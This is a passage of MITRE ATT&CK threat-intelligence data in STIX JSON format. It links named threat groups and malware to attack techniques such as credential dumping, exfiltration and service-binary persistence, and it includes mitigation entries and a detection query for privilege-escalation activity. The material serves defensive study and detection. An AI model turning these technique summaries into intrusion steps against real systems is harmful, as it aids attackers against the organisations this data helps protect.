"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf", "description": "Kaspersky Lab. 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Retrieved March 22, 2021."}], "modified": "2021-03-23T20:49:40.258Z", "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has collected the PID of a malicious process.(Citation: Kaspersky ShadowPad Aug 2017)", "relationship_type": "uses", "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--931c0864-0b91-46b7-bdc0-0360777d95a6", "type": "relationship", "created": "2019-07-08T15:24:24.660Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Waterbug Jun 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", "description": "Symantec DeepSight Adversary Intelligence Team. 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Retrieved July 8, 2019."}], "modified": "2020-03-30T03:08:06.394Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has encrypted files stolen from connected USB drives into a RAR file before exfiltration.(Citation: Symantec Waterbug Jun 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--931e3af1-d38d-46eb-8c5d-d394510e2df1", "created": "2022-06-24T14:21:06.257Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Zscaler Lyceum DnsSystem June 2022", "url": "https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor", "description": "Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DnsSystem](https://attack.mitre.org/software/S1021) can upload files from infected machines after receiving a command with `uploaddd` in the string.(Citation: Zscaler Lyceum DnsSystem June 2022)", "modified": "2022-06-24T14:53:43.097Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--931ed644-db21-4c15-a26d-dcbd958aeec8", "created": "2022-09-29T16:45:34.073Z", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T16:45:34.073Z", "description": "(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "tool--59096109-a1dd-463b-87e7-a8d110fe3a79", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9321a544-0bde-4d6d-a197-303b70e39fc3", "type": "relationship", "created": "2020-01-17T16:10:58.801Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-17T16:10:58.801Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--932745cf-b6e8-4a1d-ba44-9a22b45901e9", "created": "2023-09-15T17:11:16.031Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T15:10:51.181Z", "description": "Adversaries may modify the binary file for an existing service to achieve\u00a0[Persistence](https://attack.mitre.org/tactics/TA0003)\u00a0while potentially\u00a0[Defense Evasion](https://attack.mitre.org/tactics/TA0005). If a newly created or modified runs as a service, it may indicate APT activity. However, services are frequently installed by legitimate software. A well-tuned baseline is essential to differentiating between benign and malicious service modifications. Look for events where a file was created and then later run as a service. In these cases, a new service has been created or the binary has been modified. Many programs, such as\u00a0msiexec.exe, do these behaviors legitimately and can be used to help validate legitimate service creations/modifications.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--932beba4-bb6a-4174-abe3-353d2e39337c", "type": "relationship", "created": "2020-05-22T19:37:14.274Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Chafer February 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}, {"source_name": "FBI FLASH APT39 September 2020", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}], "modified": "2020-12-11T16:17:17.893Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used a screen capture utility to take screenshots on a compromised host.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--932fa199-f4c0-4c39-bb30-a412607ee299", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"}], "modified": "2020-11-23T17:03:38.834Z", "description": "Password stealer and NTLM stealer modules in [CozyCar](https://attack.mitre.org/software/S0046) harvest stored credentials from the victim, including credentials used as part of Windows NTLM user authentication.(Citation: F-Secure CozyDuke)", "relationship_type": "uses", "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9330e368-a876-43a2-9e8a-ea4e37f00b85", "created": "2022-06-16T19:27:21.544Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:18:41.585Z", "description": "Monitor for newly executed processes that may exploit software vulnerabilities in an attempt to elevate privileges. After gaining initial access to a system, threat actors attempt to escalate privileges as they may be operating within a lower privileged process which does not allow them to access protected information or carry out tasks which require higher permissions. A common way of escalating privileges in a system is by externally invoking and exploiting spoolsv or connhost executables, both of which are legitimate Windows applications. This query searches for an invocation of either of these executables by a user, thus alerting us of any potentially malicious activity.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic is oriented around looking for an invocation of either spoolsv.exe or conhost.exe by a user, thus alerting us of any potentially malicious activity. A common way of escalating privileges in a system is by externally invoking and exploiting these executables, both of which are legitimate Windows applications. \n\nAnalytic 1 - Unusual Child Process for spoolsv.exe or connhost.exe\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image=\"C:\\Windows\\System32\\spoolsv.exe\" OR Image=\"C:\\Windows\\System32\\conhost.exe\") AND ParentImage= \"C:\\Windows\\System32\\cmd.exe\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--93450717-845e-4cd8-b1ac-3a842251a331", "created": "2022-08-18T19:10:14.042Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Google EXOTIC LILY March 2022", "url": "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has used contact forms on victim websites to generate phishing e-mails.(Citation: Google EXOTIC LILY March 2022)", "modified": "2022-08-18T19:10:14.042Z", "relationship_type": "uses", "source_ref": "intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af", "target_ref": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--934be676-4444-4ab3-a411-dc9a8dc9c4bb", "type": "relationship", "created": "2020-02-04T12:52:13.344Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-12T18:32:33.067Z", "description": "Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--935971d6-0af2-4683-971a-9acb523733fe", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Amplia WCE", "description": "Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved December 17, 2015.", "url": "http://www.ampliasecurity.com/research/wcefaq.html"}], "modified": "2020-03-20T00:23:15.092Z", "description": "[Windows Credential Editor](https://attack.mitre.org/software/S0005) can dump credentials.(Citation: Amplia WCE)", "relationship_type": "uses", "source_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--93598e52-cf96-4f8a-b4e2-3dab9aa6ddee", "type": "relationship", "created": "2022-01-24T17:02:47.984Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "modified": "2022-01-24T17:02:47.984Z", "description": "[CharmPower](https://attack.mitre.org/software/S0674) can use HTTP to communicate with C2.(Citation: Check Point APT35 CharmPower January 2022)", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--935ca61c-b4ff-4cfc-a4e9-9b8aa9514ea3", "type": "relationship", "created": "2020-02-12T14:50:52.639Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-23T21:16:03.053Z", "description": "Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--935d1918-a1ea-4c46-b3b0-5c1d0f44a346", "type": "relationship", "created": "2020-10-09T12:50:42.914Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", "source_name": "FireEye FIN6 April 2016"}], "modified": "2020-10-09T13:01:09.508Z", "description": "[FrameworkPOS](https://attack.mitre.org/software/S0503) can identifiy payment card track data on the victim and copy it to a local file in a subdirectory of C:\\Windows\\.(Citation: FireEye FIN6 April 2016)", "relationship_type": "uses", "source_ref": "malware--1cdbbcab-903a-414d-8eb0-439a97343737", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--935f8b6e-cd74-46c4-9a74-f763b4f13955", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Trojan.Hydraq Jan 2010", "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"}, {"source_name": "Symantec Hydraq Jan 2010", "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}], "modified": "2020-02-18T03:48:53.696Z", "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can monitor services.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)", "relationship_type": "uses", "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--935f9bb6-d38d-42d1-a764-6b5110ad5364", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Tick Apr 2016", "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}, {"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:31.912Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exploited Microsoft Office vulnerabilities CVE-2014-4114, CVE-2018-0802, and CVE-2018-0798 for execution.(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--93642a19-cc8f-4298-9398-8d5d029fe53d", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", "source_name": "Unit 42 MuddyWater Nov 2017"}, {"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}], "modified": "2020-05-18T19:46:02.259Z", "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--93656c66-acfc-43b4-af66-bf328256b7b8", "type": "relationship", "created": "2021-03-19T21:04:01.269Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 TA551 Jan 2021", "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}, {"source_name": "Secureworks GOLD CABIN", "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. 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Retrieved November 6, 2017.", "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"}], "modified": "2020-06-19T20:04:12.448Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.(Citation: Volexity OceanLotus Nov 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--93f1d277-685d-46ee-a796-a50641364fbc", "type": "relationship", "created": "2021-06-07T13:33:29.668Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. 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(2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}], "modified": "2020-06-23T00:48:35.273Z", "description": "[LoudMiner](https://attack.mitre.org/software/S0451) started the cryptomining virtual machine as a service on the infected machine.(Citation: ESET LoudMiner June 2019)", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9486b28e-681e-4e19-a7d9-c496af933c2d", "type": "relationship", "created": "2022-03-30T14:26:51.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.844Z", "description": "Monitor executed commands and arguments for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate)", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", "description": "Microsoft. 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(2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", "source_name": "Ars Technica Pwn2Own 2017 VM Escape"}], "modified": "2022-02-24T15:06:46.280Z", "description": "Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)", "relationship_type": "mitigates", "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9493cec9-dbbc-43ef-ae57-6f307f8d6001", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}, {"source_name": "FireEye APT40 March 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html", "description": "Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}], "modified": "2021-10-04T12:22:40.175Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used stolen code signing certificates to sign malware.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9494b0d8-26d9-48ae-8dd1-c9d8966b23a0", "type": "relationship", "created": "2019-01-29T17:59:44.401Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", "source_name": "GDATA Zeus Panda June 2017"}], "modified": "2019-04-16T20:55:20.114Z", "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) collects the current system time (UTC) and sends it back to the C2 server.(Citation: GDATA Zeus Panda June 2017)", "relationship_type": "uses", "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9497e927-67da-4845-b7a9-fe7d13524110", "type": "relationship", "created": "2019-05-14T16:58:13.891Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab. (2017, March 7). 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Retrieved March 14, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", "source_name": "Kaspersky StoneDrill 2017"}], "modified": "2019-06-07T20:52:37.092Z", "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has the capability to discover the system OS, Windows version, architecture and environment.(Citation: Kaspersky StoneDrill 2017)\t", "relationship_type": "uses", "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--949c94e6-7c2f-4605-957f-11b7cd5a6097", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. 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Retrieved March 22, 2021."}], "modified": "2021-03-23T20:49:40.315Z", "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has encoded data as readable Latin characters.(Citation: Securelist ShadowPad Aug 2017)", "relationship_type": "uses", "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", "target_ref": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--951dd0b4-52c4-4f56-bdcd-c76a24b2ba49", "type": "relationship", "created": "2022-03-30T14:26:51.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.853Z", "description": "Monitor file systems for changes to application binaries and invalid checksums/signatures.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847", "relationship_type": "detects", 